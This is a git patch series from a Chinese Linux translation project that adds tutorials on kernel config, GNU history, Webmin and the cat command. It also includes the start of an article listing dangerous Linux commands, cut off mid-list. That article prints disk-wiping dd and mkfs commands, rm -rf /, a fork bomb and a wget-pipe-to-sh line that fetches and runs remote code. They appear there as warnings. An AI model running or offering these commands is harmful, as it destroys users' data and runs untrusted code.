+Linux内核提供了大量不同的加速器、放大器模数转换器、惯性测量单元、光敏传感器、磁场传感器和其他许多传感器和转换器的支持。 + +"Intel Non-Transparent Bridge support"驱动支持连接到系统的PCIe硬件桥。所有到映射内存的写入会镜像到两个系统中。 + +"VME bridge support"和上面的相同除了桥使用的是VME，这是一个不同的总线标准。 + +"Pulse-Width Modulation (PWM) Support"通过调节从这些设备收到的平均功率调节背光灯和风扇速度。 + +"IndustryPack bus support"提供了对IndustryPack总线标准的支持。 + +下一篇文章，我们会继续配置固件驱动。谢谢! + +-------------------------------------------------------------------------------- + +via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-18.4896/ + +译者：[geekpi](https://github.com/geekpi) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file From 42491c64ce9c19e954baa7d96f6d9d260e79ac78 Mon Sep 17 00:00:00 2001 From: DeadFire Date: Tue, 26 Nov 2013 16:45:51 +0800 Subject: [PATCH 021/148] =?UTF-8?q?20131126-8=20=E9=80=89=E9=A2=98=20Gnu:?= =?UTF-8?q?=20toward=20the=20post-scarcity=20world=20=E2=80=93=20the=20Fre?= =?UTF-8?q?e=20Software=20Column?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...arcity world – the Free Software Column.md | 39 +++++++++++++++++++ 1 file changed, 39 insertions(+) create mode 100644 sources/Gnu--toward the post-scarcity world – the Free Software Column.md diff --git a/sources/Gnu--toward the post-scarcity world – the Free Software Column.md b/sources/Gnu--toward the post-scarcity world – the Free Software Column.md new file mode 100644 index 0000000000..43b46edca0 --- /dev/null +++ b/sources/Gnu--toward the post-scarcity world – the Free Software Column.md @@ -0,0 +1,39 @@ +Gnu: toward the post-scarcity world – the Free Software Column +================================================================================ +**It is 30 years since Richard Stallman announced that he was going to write a complete UNIX-compatible software system called GNU, pioneering the idea of free and open source software, but the struggle continues ** + +![](http://www.linuxuser.co.uk/wp-content/uploads/2011/04/Richard-Hillesley-200x150.jpg) + +Gnu was not the first software to be distributed free, but became the first manifestation of a lasting and “explicit political campaign to make software free”. + +In the GNU Manifesto, Stallman expressed the romantic ideal. “In the long term,” he wrote, “making programs free is a step toward the post- scarcity world, where nobody will have to work very hard just to make a living. People will be free to devote themselves to activities that are fun, such as programming, after spending the necessary ten hours a week on required tasks such as legislation, family counselling, robot repair and asteroid prospecting…” + +In the real world, GNU grew directly out of ‘the EMACS commune’ and the disputes that arose around James Gosling’s version of Emacs for UNIX. In the ‘Emacs Manual for ITS Users’, dated 22 October 1981, Stallman was already expressing the ideas that gave rise to the GPL. + +“Emacs does not cost anything,” he wrote. “Instead, you are joining the Emacs software-sharing commune. The conditions of membership are that you must send back any improvements you make to Emacs, including any libraries you write…” + +Initially, Gosling allowed free distribution of the source code to Gosling EMACS, to which others had contributed. However, in April 1983, as Stallman tells it (bit.ly/d58ndg): “He stabbed everyone in the back by putting copyrights on it, making people promise not to redistribute it, and then selling it to a software house.” + +Stallman was hurt by what he saw as a betrayal, and said of Gosling, who later became known as the father of Java, “My later dealings with him personally showed that he was every bit as cowardly and despicable as you would expect from that history. “ + +The recriminations and legal threats surrounding these events led directly to the founding of GNU, and later, to the GPL. Gosling Emacs was soon eclipsed by GNU Emacs. The first tangible version of the GPL emerged as ‘the GNU Emacs copying permission notice’ in 1985, and went through several versions before the release of GPL 1.0 in 1989. + +Stallman later recounted that when he founded GNU, people had said, “Oh, this is an infinitely hard job; you can’t possibly write a whole system like UNIX. How can we possibly do that much? It would be nice, but it’s just hopeless.” But his response was that he was would do it anyway. “This is where I am great. I am great at being very, very stubborn and ignoring all sorts of reasons why you should change your goal, reasons that many other people will be susceptible to. Many people want to be on the winning side. I didn’t give a damn about that. I wanted to be on the side that was right, and even if I didn’t win, at least I was going to give it a good try.” + +“It’s not about money”, he said in 1999, “it’s about freedom. If you think it’s about money you’ve missed the point. I want to use a computer in freedom, to co-operate, to not be restricted or prohibited from sharing. The GNU/Linux system is catching on somewhat more now. The system is becoming popular for practical reasons. It’s a good system. The danger is people will like it because it’s practical and it will become popular without anyone having the vaguest idea of the ideals behind it, which would be an ironic way of failing.” + +Free software owes much to the obduracy and insights of Stallman, but as he suggested in his history of the GNU project, the struggle and the cause of free software is just as indebted to the contributions of others, and threats to its existence continue. + +“I have done most of my work while anxious about whether I could do the job, and unsure that it would be enough to achieve the goal if I did. But I tried anyway, because there was no one but me between the enemy and my city. Surprising myself, I have sometimes succeeded. + +“Sometimes I failed; some of my cities have fallen. Then I found another threatened city, and got ready for another battle. Over time, I’ve learned to look for threats and put myself between them and my city, calling on other hackers to come and join me. + +“Nowadays, often I’m not the only one. It is a relief and a joy when I see a regiment of hackers digging in to hold the line, and I realise, this city may survive – for now. But the dangers are greater each year.” + +-------------------------------------------------------------------------------- + +via: http://www.linuxuser.co.uk/features/gnu-toward-the-post-scarcity-world-the-free-software-column + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file From 8fff7793547e5842848c4ddb5c2330e824151924 Mon Sep 17 00:00:00 2001 From: NearTan Date: Wed, 27 Nov 2013 11:33:59 +0800 Subject: [PATCH 022/148] translating --- ...ux Uptime Command – Find How Long Your System Been Running.md | 1 + 1 file changed, 1 insertion(+) diff --git a/sources/Linux Uptime Command – Find How Long Your System Been Running.md b/sources/Linux Uptime Command – Find How Long Your System Been Running.md index 788397a8e3..1b80315bd2 100644 --- a/sources/Linux Uptime Command – Find How Long Your System Been Running.md +++ b/sources/Linux Uptime Command – Find How Long Your System Been Running.md @@ -1,3 +1,4 @@ + NearTan 选题 Linux Uptime Command – Find How Long Your System Been Running ================================================================================ ![](http://linoxide.com/wp-content/uploads/2013/11/linux-uptime-command.png) From 3ec3c57a17ac94682a544da0417b052a848bce43 Mon Sep 17 00:00:00 2001 From: Colin Date: Wed, 27 Nov 2013 11:44:45 +0800 Subject: [PATCH 023/148] get translating done --- .../How to manage Linux server with GUI.md | 78 ------------------- .../How to manage Linux server with GUI.md | 77 ++++++++++++++++++ 2 files changed, 77 insertions(+), 78 deletions(-) delete mode 100644 sources/How to manage Linux server with GUI.md create mode 100644 translated/How to manage Linux server with GUI.md diff --git a/sources/How to manage Linux server with GUI.md b/sources/How to manage Linux server with GUI.md deleted file mode 100644 index 92c517de1d..0000000000 --- a/sources/How to manage Linux server with GUI.md +++ /dev/null @@ -1,78 +0,0 @@ -[being translated] by thinkinglk -How to manage Linux server with GUI -================================================================================ -A typical Linux server runs in a command line interface (CLI) environment, preloaded with bare essential tools needed to install and configure various headless services. Compared to a full-blown GUI desktop image, such a minimal setup is advantageous in terms of security, resource consumption and speed. - -If you are used to GUI-based environment, however, you may wonder whether there is a GUI for Linux server. A typical Linux desktop environment like GNOME, KDE, etc. will probably be too resource-heavy for what it's worth, and not as secure simply because there will be more code subject to potential security vulnerabilities. - -An alternative to a full-blown desktop GUI is to use a **web-based server administration tool**. There are several web-based system configuration tools, such as [Webmin][1], [ISPconfig][2], [Zentyal][3], etc. - -In this tutorial, I will describe **how to manage and configure a Linux server with Webmin's web-based GUI**. - -Webmin is a lightweight (~20 MB) system configuration tool written in Perl. Webmin has a built-in web server, allowing users to configure a Linux server via web interface. One of its strength is its modular architecture where you can load modules to Webmin to extend its functionality. - -### Install Webmin on Linux Server ### - -To install Webmin on Ubuntu or Debian server, you can use the following commands. - - $ sudo apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python - $ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb - $ sudo dpkg -i webmin_1.660_all.deb - -To install Webmin on CentOS or RHEL server, use these commands. - - $ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb - $ sudo rpm -U webmin-1.660-1.noarch.rpm - -### Access Webmin Interface ### - -Once you installed Webmin, you can access Webmin by going to https://:10000 on a web browser. If you have a firewall enabled, make sure that TCP 10000 port is not blocked. - -Also, note that you should use HTTPS, not HTTP. Otherwise, you will get a redirection error. By default, Webmin runs in SSL mode with a default SSL certificate generated by Webmin. - -Once you see Webmin's login page, you can log in as root (with the root password) or as any user who can use sudo on the Linux server. After logging in, you will see the status summary of your Linux server as follows. - -[![](http://farm4.staticflickr.com/3803/10937800943_e1ac465c3f_z.jpg)][4] - -### Webmin Features ### - -Webmin boasts of an extremely rich set of features that allow you to configure almost every aspect of a given Linux server. In the following, let me give you a glimpse of some of its powerful features. - -Enable or disable boot-time services, and show their configuration status. - -[![](http://farm8.staticflickr.com/7437/10937589506_7abcaac10e_z.jpg)][5] - -Monitor the status of server and services in real time, and configure scheduled monitoring and notification emails. Here you can monitor various server daemons such as NFS, MySQL, BIND DNS, Squid proxy, Apache Web server, etc., as well as system resources such as disk storage, memory or network traffic. - -Configure iptables-based firewall rules. - -[![](http://farm4.staticflickr.com/3679/10937801173_61cd4b11a3_z.jpg)][6] - -Configure local routing table and gateways. - -Mount and configure a filesystem. - -[![](http://farm4.staticflickr.com/3710/10937589556_9fd192cdb9_z.jpg)][7] - -Access and modify local file system via web-based file manager interface. This requires Java plugin for web browser. - -Change Webmin configurations, where you can access-control IP addresses, add/remove Webmin modules, enable two-factor authentication for secure login, set up certificate authority, etc. - -[![](http://farm8.staticflickr.com/7317/10937532015_b5e1263496_z.jpg)][8] - --------------------------------------------------------------------------------- - -via: http://xmodulo.com/2013/11/manage-linux-server-gui.html - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.webmin.com/ -[2]:http://www.ispconfig.org/ -[3]:http://www.zentyal.org/ -[4]:http://www.flickr.com/photos/xmodulo/10937800943/ -[5]:http://www.flickr.com/photos/xmodulo/10937589506/ -[6]:http://www.flickr.com/photos/xmodulo/10937801173/ -[7]:http://www.flickr.com/photos/xmodulo/10937589556/ -[8]:http://www.flickr.com/photos/xmodulo/10937532015/ \ No newline at end of file diff --git a/translated/How to manage Linux server with GUI.md b/translated/How to manage Linux server with GUI.md new file mode 100644 index 0000000000..f92cedabcd --- /dev/null +++ b/translated/How to manage Linux server with GUI.md @@ -0,0 +1,77 @@ +如何使用图形界面管理linux服务器 +================================================================================ +一台典型的linux服务器运行在预先载入了一些基本工具和配置服务的命令行界面环境中。和一些成熟的具有图形界面的桌面软件相比，就安全性、资源消费和速度来说，如此小的配置无疑是一个优点。 + +如果你曾经用过基于图形界面的软件环境，你也许会想在Linux服务器中是否也有图形界面。典型的Linux桌面环境如`GNOME`、`KDE`等，它们提供的功能相比带来的系统资源负担是不值得，而且还不够安全因为更多的代码会带来安全弱点。 + +替换成熟的基于图形界面桌面系统的一种可选方法是使用 **基于Web的管理工具**。现在已经有许多基于Web的配置管理工具, 如 [Webmin][1], [ISPconfig][2], [Zentyal][3], 等。 + +在这篇教程中, 我会讲述 **怎样利用基于Web的界面工具来管理和配置Linux服务器**. + +Webmin 是一个用`Perl`语言写的轻型 (~20 MB) 系统配置工具。 Webmin 具有内置的web服务器， 允许用户通过web接口来配置Linux服务器。 其中一个优点是由于它是基于模块架构的，你可以选择性加载模块来扩展其功能。 + +### Linux服务器上安装Webmin ### + +在 Ubuntu 或 Debian 系统中安装Webmin， 你可以使用如下命令。 + + $ sudo apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python + $ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb + $ sudo dpkg -i webmin_1.660_all.deb + +在CentOS 或 RHEL 系统中安装Webmin， 使用如下命令： + + $ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb + $ sudo rpm -U webmin-1.660-1.noarch.rpm + +### 使用 Webmin ### + +一旦你安装了Webmin, 你可以通过在浏览器中输入 https://:10000 来使用。 如果你开启了防火墙， 请确保TCP端口 10000 没有被使用。 + +同时， 请注意你应该使用 HTTPS， 而不是 HTTP。 否则， 会出现重定向错误。 Webmin 默认使用其自己生成的的SSL验证模式。 + +一旦你进入了Webmin登录页面， 你可以使用root身份登录 (当然需要输入root账户密码) 或者使用具有root权限的任何用户账户登录。 登录成功后， 你可以看到如下Linux服务器的状态信息。 + +[![](http://farm4.staticflickr.com/3803/10937800943_e1ac465c3f_z.jpg)][4] + +### Webmin 的特点 ### + +Webmin 一个引以为豪的有点就是它几乎能够配置任何Linux服务器所支持的配置。 下面， 让我们介绍一下它的重要功能。 + +开启或关闭 boot-time 服务， 同时会显示他们相关配置信息。 + +[![](http://farm8.staticflickr.com/7437/10937589506_7abcaac10e_z.jpg)][5] + +实时监控服务器状态和其他服务， 同时配置调度监控和提醒邮件。 你也可以监控一系列守护进程如 NFS, MySQL, BIND DNS, Squid proxy, Apache Web server等， 或者系统资源如 磁盘信息 (disk storage)、内存和网络故障(memory or network traffic)等。 + +配置 iptables-based firewall。 + +[![](http://farm4.staticflickr.com/3679/10937801173_61cd4b11a3_z.jpg)][6] + +配置本地路由表和网关。 + +挂载和配置文件系统。 + +[![](http://farm4.staticflickr.com/3710/10937589556_9fd192cdb9_z.jpg)][7] + +通过文件管理接口来查看和修改本地文件，但是这需要浏览器有相关的java插件。 + +通过改变Webmin的相关配置，你可以控制管理 IP 地址， 添加/删除 Webmin 功能模块， 开启 two-factor 认证来使用安全登录功能，或者创建权威验证等。 + +[![](http://farm8.staticflickr.com/7317/10937532015_b5e1263496_z.jpg)][8] + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/11/manage-linux-server-gui.html + +译者：[thinkinglk](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.webmin.com/ +[2]:http://www.ispconfig.org/ +[3]:http://www.zentyal.org/ +[4]:http://www.flickr.com/photos/xmodulo/10937800943/ +[5]:http://www.flickr.com/photos/xmodulo/10937589506/ +[6]:http://www.flickr.com/photos/xmodulo/10937801173/ +[7]:http://www.flickr.com/photos/xmodulo/10937589556/ +[8]:http://www.flickr.com/photos/xmodulo/10937532015/ \ No newline at end of file From 4f4dc3b1a93662dfe711f0bd1f4411db9f45a19d Mon Sep 17 00:00:00 2001 From: hongchuntang Date: Wed, 27 Nov 2013 12:47:48 +0800 Subject: [PATCH 024/148] translated 13 --- ... Manage (Display,Sort,Create etc) Files.md | 212 ------------------ ... Manage (Display,Sort,Create etc) Files.md | 212 ++++++++++++++++++ 2 files changed, 212 insertions(+), 212 deletions(-) delete mode 100644 sources/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md create mode 100644 translated/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md diff --git a/sources/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md b/sources/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md deleted file mode 100644 index 0b946b8b6c..0000000000 --- a/sources/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md +++ /dev/null @@ -1,212 +0,0 @@ -hongchuntang wc - -13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files -================================================================================ -![](http://linoxide.com/wp-content/uploads/2013/11/linux-cat-command.png) - -In Linux operating system most of configuration files, logs even shell scripts are in text file format. There is why we have numbers of text editors in Linux. When you just need to see the content of those files, you can use a simple command named cat. - -From cat manual page it says - -> cat is a command that concatenate files and print on the standard output - -Cat is built-in command in Linux. I believe that all of Linux distribution has this Cat command by default. Let’s start to use how to use it. - -### 1. View the content of file ### - -The easiest way to use cat is just type ‘cat file_name’. - - # cat /etc/issue - - CentOS release 5.10 (Final) - Kernel \r on an \m - -### 2. Put the line number on the fly ### - -When reading a configuration file it may that you have a long configuration file. It will be easier to if you can put line numbers on the fly. Use -n parameter to fulfill this purpose. - - # cat -n /etc/ntp.conf - - 1 # Permit time synchronization our time resource but do not - 2 # permit the source to query or modify the service on this system - 3 restrict default kod nomodify notrap nopeer noquery - 4 restrict -6 default kod nomodify notrap nopeer noquery - 5 - 6 # Permit all access over the loopback interface. This could be - 7 # tightened as well, but to do so would effect some of the - 8 # administration functions - 9 restrict 127.0.0.1 - 10 restrict -6 ::1 - -### 3. Number non-blank output lines ### - -Similar with -n parameter, -b parameter will give you numbers **on the fly**. The difference is -b parameter will only number non-blank lines. - - #cat -n /etc/ntp.conf - - 1 # Permit time synchronization our time resource but do not - 2 # permit the source to query or modify the service on this system - 3 restrict default kod nomodify notrap nopeer noquery - 4 restrict -6 default kod nomodify notrap nopeer noquery - - 5 # Permit all access over the loopback interface. This could be - 6 # tightened as well, but to do so would effect some of the - 7 # administration functions - 8 restrict 127.0.0.1 - 9 restrict -6 ::1 - -### 4. Show tabs ### - -You may need to know where are the tabs on your text file. If you do, you can use -T parameter. Tab will be represented by **^I** characters. - - # cat -T /etc/hosts - - # Do not remove the following line, or various programs - # that require network functionality will fail. - 127.0.0.1^I^Ilocalhost.localdomain localhost - ::1^I^Ilocalhost6.localdomain6 localhost6 - -### 5. Show the end of lines ### - --E parameter will display **$** at end of each line. Here’s the example : - - # cat -E /etc/hosts - - # Do not remove the following line, or various programs$ - # that require network functionality will fail.$ - 127.0.0.1 localhost.localdomain localhost$ - ::1 localhost6.localdomain6 localhost6$ - -### 6. Show All ### - -If you want to combine between -T and -E, you can use -A parameter. - - # cat -A /etc/hosts - - # Do not remove the following line, or various programs$ - # that require network functionality will fail.$ - 127.0.0.1^I^Ilocalhost.localdomain localhost$ - ::1^I^Ilocalhost6.localdomain6 localhost6$ - -### 7. View the content per page ### - -When your file can not fit in your screen, you can **combine** cat with another command to make it displayed per page. Use the pipe ( | ) sign to combine it. - - # cat /proc/meminfo | less - - # cat /proc/meminfo | more - -The difference between less and more is that you can do scroll up **and** scroll down **on less command** using PageUp and PageDown buttons. While you can **only** do scroll down **on more command** using spacebar. - -### 8. View the contents of 2 files ### - -Let’s say we have 2 text files named linux and desktop located in /root folder. Each of files contains : -**Linux** : ubuntu, centos, redhat, mint and slackware -**Desktop** : gnome kde, xfce, enlightment, and cinnamon -When you want to view more than 1 file simultaneously, you do like this : - - # cat /root/linux /root/desktop - - ubuntu - centos - redhat - mint - slackware - gnome - kde - xfce - enlightment - cinnamon - -### 9. Sorting file ### - -Again, you can combine cat using another command to make a custom output. If you want to sort it, you can combine it with **sort** command. Here’s the example : - - # cat /root/linux | sort - - centos - mint - redhat - slackware - Ubuntu - -### 10. Redirect standard output ### - -You can also redirect the output to screen or to another file. Just use > sign (greater-than symbol) if you want to redirect the output into a file. - - # cat /root/linux > /root/linuxdistro - -The above command will **create** a linuxdistro file that has the same content with /root/linux file. - -### 11. Creating a new file ### - -There are some ways to create a text file in Linux. One of them is using cat command. - - # cat > operating_system - - Unix - Linux - Windows - MacOS - -When you type cat > operating system, it will create a file which named operating_system. Then you will see a blank line below the cat command. You can type the content that you want. We typed Unix, Linux, Windows and MacOS for example. When you’re done, **press Ctrl-D** to save the content and exit from cat command. You will see **a file named operating_system** is created in the current folder with the content that you add before. - -### 12. Append the content of file ### - -If you use the > sign twice, it means that the content of the first file will be added to the second file. Let’s see the example : - - # cat /root/linux >> /root/desktop - - # cat /root/desktop - -The first cat command will add the content of /root/linux to /root/desktop file -The second command will show you this output : - - ubuntu - centos - redhat - mint - slackware - gnome - kde - xfce - enlightment - cinnamon - -### 13. Redirect standard input ### - -You can also redirect standard input using **<** sign (less-than symbol). - - # cat < /root/linux - -The above command means that /root/linux will be an input for cat command. The output will be like this : - - ubuntu - centos - redhat - mint - slackware - -To make it clearer, let’s see another example : - - # cat < /root/linux | sort > linux-sort - -That command will be read : **sort content from /root/linux file then print the output to linux-sort file** - -So the output of linux-sort file will be like this : - - centos - mint - redhat - slackware - ubuntu - -That’s some examples of cat command on day-to-day operation. Of course you can explore more detail from cat manual page and experiment with Input-Output redirection operator. - --------------------------------------------------------------------------------- - -via: http://linoxide.com/linux-command/13-cat-command-examples/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/translated/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md b/translated/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md new file mode 100644 index 0000000000..97ff642b07 --- /dev/null +++ b/translated/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md @@ -0,0 +1,212 @@ + +13 Linux Cat命令管理(显示，排序，建立)文件实例 +================================================================================ +![](http://linoxide.com/wp-content/uploads/2013/11/linux-cat-command.png) + +Linux系统中，许多配置文件，Logs文件，甚至shell脚本都使用文本文件格式，因此,Linux系统存在着多种文本编辑器，但当你仅仅想要查看一下它们里的内容时，可使用cat命令。 + +cat手册里这样描述： + +> cat命令读取文件内容，并输出到标准设备上面 + +cat是一条linux内置命令. 几乎所有linux发行版都内置.接下来请跟随我来一起使用它. + +### 1. 显示文件内容 ### + +最简单的方法是直接输入‘cat file_name’. + + # cat /etc/issue + + CentOS release 5.10 (Final) + Kernel \r on an \m + +### 2. 在行首显示行号 ### + +当在读取内容很多的配置文件时，加上-n参数可实现在行首显示行号。 + + + # cat -n /etc/ntp.conf + + 1 # Permit time synchronization our time resource but do not + 2 # permit the source to query or modify the service on this system + 3 restrict default kod nomodify notrap nopeer noquery + 4 restrict -6 default kod nomodify notrap nopeer noquery + 5 + 6 # Permit all access over the loopback interface. This could be + 7 # tightened as well, but to do so would effect some of the + 8 # administration functions + 9 restrict 127.0.0.1 + 10 restrict -6 ::1 + +### 3. 在行首显示非空行号 ### + +类似于-n参数，-b也在行首显示行号.但它显示的行号为非空行行号 + + #cat -b /etc/ntp.conf + + 1 # Permit time synchronization our time resource but do not + 2 # permit the source to query or modify the service on this system + 3 restrict default kod nomodify notrap nopeer noquery + 4 restrict -6 default kod nomodify notrap nopeer noquery + + 5 # Permit all access over the loopback interface. This could be + 6 # tightened as well, but to do so would effect some of the + 7 # administration functions + 8 restrict 127.0.0.1 + 9 restrict -6 ::1 + +### 4. 显示tab制表符 ### + +当你想要显示文本中的tab制表位时. 可使用-T参数. 它会在输入结果中标识为 **^I** . + + # cat -T /etc/hosts + + # Do not remove the following line, or various programs + # that require network functionality will fail. + 127.0.0.1^I^Ilocalhost.localdomain localhost + ::1^I^Ilocalhost6.localdomain6 localhost6 + +### 5. 显示换行符 ### + +-E参数在每行结尾标识 **$** .如下所示 : + + # cat -E /etc/hosts + + # Do not remove the following line, or various programs$ + # that require network functionality will fail.$ + 127.0.0.1 localhost.localdomain localhost$ + ::1 localhost6.localdomain6 localhost6$ + +### 6. 同时显示制表符及换行符 ### + +当你想要同时达到-T及-E的效果, 可使用-A参数. + + # cat -A /etc/hosts + + # Do not remove the following line, or various programs$ + # that require network functionality will fail.$ + 127.0.0.1^I^Ilocalhost.localdomain localhost$ + ::1^I^Ilocalhost6.localdomain6 localhost6$ + +### 7. 每页满屏显示 ### + +当文件内容超过一屏显示范围时,可结合cat命令与其它命令满屏显示.使用管道符 ( | ). + + # cat /proc/meminfo | less + + # cat /proc/meminfo | more + +在less与more显示结果的区别在于less参数可pageup及pagedown上下翻滚.而more仅能使用空格向下翻屏. + +### 8. 同时查看2个文件中的内容 ### + +位于/root文件夹里有两人文件取名linux及desktop，每个文件含有以下内容 : +**Linux** : ubuntu, centos, redhat, mint and slackware +**Desktop** : gnome kde, xfce, enlightment, and cinnamon +当你想同时查看两文件中的内容时，可按如下方法 : + + # cat /root/linux /root/desktop + + ubuntu + centos + redhat + mint + slackware + gnome + kde + xfce + enlightment + cinnamon + +### 9. 排序显示 ### + +类似. 你也可结合 **sort**管道符对内容进行排序显示. 举例 : + + # cat /root/linux | sort + + centos + mint + redhat + slackware + Ubuntu + +### 10. 输入重定向 ### + +你也可将显示结果输出重定向到屏幕或另一个文件. 只需要使用 > 符号即可输出生成到另一个文件. + + # cat /root/linux > /root/linuxdistro + +以上命令会生成一个与/root/linux内容一模一样的叫linuxdistro的文件. + +### 11. 新建文件 ### + +Linux下有多种方法新建文件. 其中使用cat就是方法之一. + + # cat > operating_system + + Unix + Linux + Windows + MacOS + +当你打入cat > operating_system,它会生成一个operating_system的文件. 然后下面会显示空行. 此时你可输入内容.比如我们输入Unix, Linux, Windows and MacOS. 输入完成后, **按Ctrl-D**存盘退出cat. 此时你会发现当前文件夹下会生成一个包含你刚才输入内容的叫 **operating_system**的文件. + +### 12.向文件中追加内容 ### + +当你两次使用 >符时, 会将第一个文件中的内容追加到第二个文件的末尾. 举例 : + + # cat /root/linux >> /root/desktop + + # cat /root/desktop + +它会将 /root/linux的内容追加到/root/desktop文件的末尾 +第二个文件的内容将会变成这样: + + gnome + kde + xfce + enlightment + cinnamon + ubuntu + centos + redhat + mint + slackware + +### 13. 重定向输入 ### + +你可使用 **<**命令将文件输入到cat中 . + + # cat < /root/linux + +上面命令表示 /root/linux中的内容作为cat的输入. 屏幕上显示如下 : + + ubuntu + centos + redhat + mint + slackware + +为了更清楚表示它的意义，我们使用以下命令 : + + # cat < /root/linux | sort > linux-sort + +此命令这样理解: **从/root/linux中读取内容，然后排序，将结果输出并生成linux-sort新文件** + +然后我们看看linux-sort中的内容 : + + centos + mint + redhat + slackware + ubuntu + +以上是一些cat命令的日常基本应用. 更多相关你可从cat命令手册中学到并记得经常练习它们. + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/13-cat-command-examples/ + +译者：[hongchuntang](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From 9992e5fd97c41b4a5c5d1782091d8ecb0aff77b1 Mon Sep 17 00:00:00 2001 From: Luoxcat Date: Wed, 27 Nov 2013 12:56:01 +0800 Subject: [PATCH 025/148] =?UTF-8?q?=E5=B7=B2=E7=BF=BB=E8=AF=91=E3=80=80by?= =?UTF-8?q?=20Luox?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...nds – You Should Never Execute on Linux.md | 103 ----------- ...nds – You Should Never Execute on Linux.md | 166 ++++++++++++++++++ 2 files changed, 166 insertions(+), 103 deletions(-) delete mode 100644 sources/10 Most Dangerous Commands – You Should Never Execute on Linux.md create mode 100644 translated/10 Most Dangerous Commands – You Should Never Execute on Linux.md diff --git a/sources/10 Most Dangerous Commands – You Should Never Execute on Linux.md b/sources/10 Most Dangerous Commands – You Should Never Execute on Linux.md deleted file mode 100644 index 790d32be97..0000000000 --- a/sources/10 Most Dangerous Commands – You Should Never Execute on Linux.md +++ /dev/null @@ -1,103 +0,0 @@ - 翻译中 Luox -10 Most Dangerous Commands – You Should Never Execute on Linux -================================================================================ -Linux command line is productive, useful and interesting but sometimes it may be very much dangerous specially when you are not sure what you are doing. This article is not intended to make you furious of **Linux** or **Linux command** line. We just want to make you aware of some of the commands which you should think twice before you execute them. - -![](http://www.tecmint.com/wp-content/uploads/2013/11/Dangerous-Linux-Commands.png) - -### 1. rm -rf Command ### - -The **rm -rf** command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with **rm command** are. - -- **rm** command in Linux is used to delete files. -- **rm -r** command deletes the folder recursively, even the empty folder. -- **rm -f** command removes ‘Read only File’ without asking. -- **rm -rf /** : Force deletion of everything in root directory. -- **rm -rf ** * : Force deletion of everything in current directory/working directory. -- **rm -rf .** : Force deletion of current folder and sub folders. - -Hence, be careful when you are executing **rm -rf** command. To overcome accidental delete of file by ‘**rm**‘ command, create an alias of ‘**rm**‘ command as ‘**rm -i**‘ in “**.bashrc**” file, it will ask you to confirm every deletion. - -### 2. :(){:|:&};: Command ### - -The above is actually a **fork bomb**. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes. - - :(){:|:&};: - -### 3. command > /dev/sda ### - -The above command writes the output of ‘**command**‘ on the block **/dev/sda**. The above command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block. - -### 4. mv folder /dev/null ### - -The above command will move ‘**folder**‘ to **/dev/null**. In Linux **/dev/null** or **null** device is a special file that discards all the data written to it and reports that write operation succeed. - - # mv /home/user/* /dev/null - -The above command will move all the contents of a **User** directory to **/dev/null**, which literally means everything there was sent to **blackhole (null)**. - -### 5. wget http://malicious_source -O- | sh ### - -The above command will download a script from a malicious source and then execute it. Wget command will download the script and **sh** will execute the downloaded script. - -**Note**: You should be very much aware of the source from where you are downloading packages and scripts. Only use those scripts/applications which is downloaded from a trusted source. - -### 6. mkfs.ext3 /dev/sda ### - -The above command will format the block ‘**sda**’ and you would surely be knowing that after execution of the above command your Block (**Hard Disk Drive**) would be new, **BRAND NEW!** Without any data, leaving your system into unrecoverable stage. - -### 7. > file ### - -The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> **xt.conf**” will write the configuration file or any other system or configuration file. - -### 8. ^foo^bar ### - -This command, as described in our [10 Lesser Known Linux Commands][1], is used to edit the previous run command without the need of retyping the whole command again. But this can really be troublesome if you didn’t took the risk of thoroughly checking the change in original command using **^foo^bar** command. - -### 9. dd if=/dev/random of=/dev/sda ### - -The above command will wipe out the block **sda** and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage. - -### 10. Hidden the 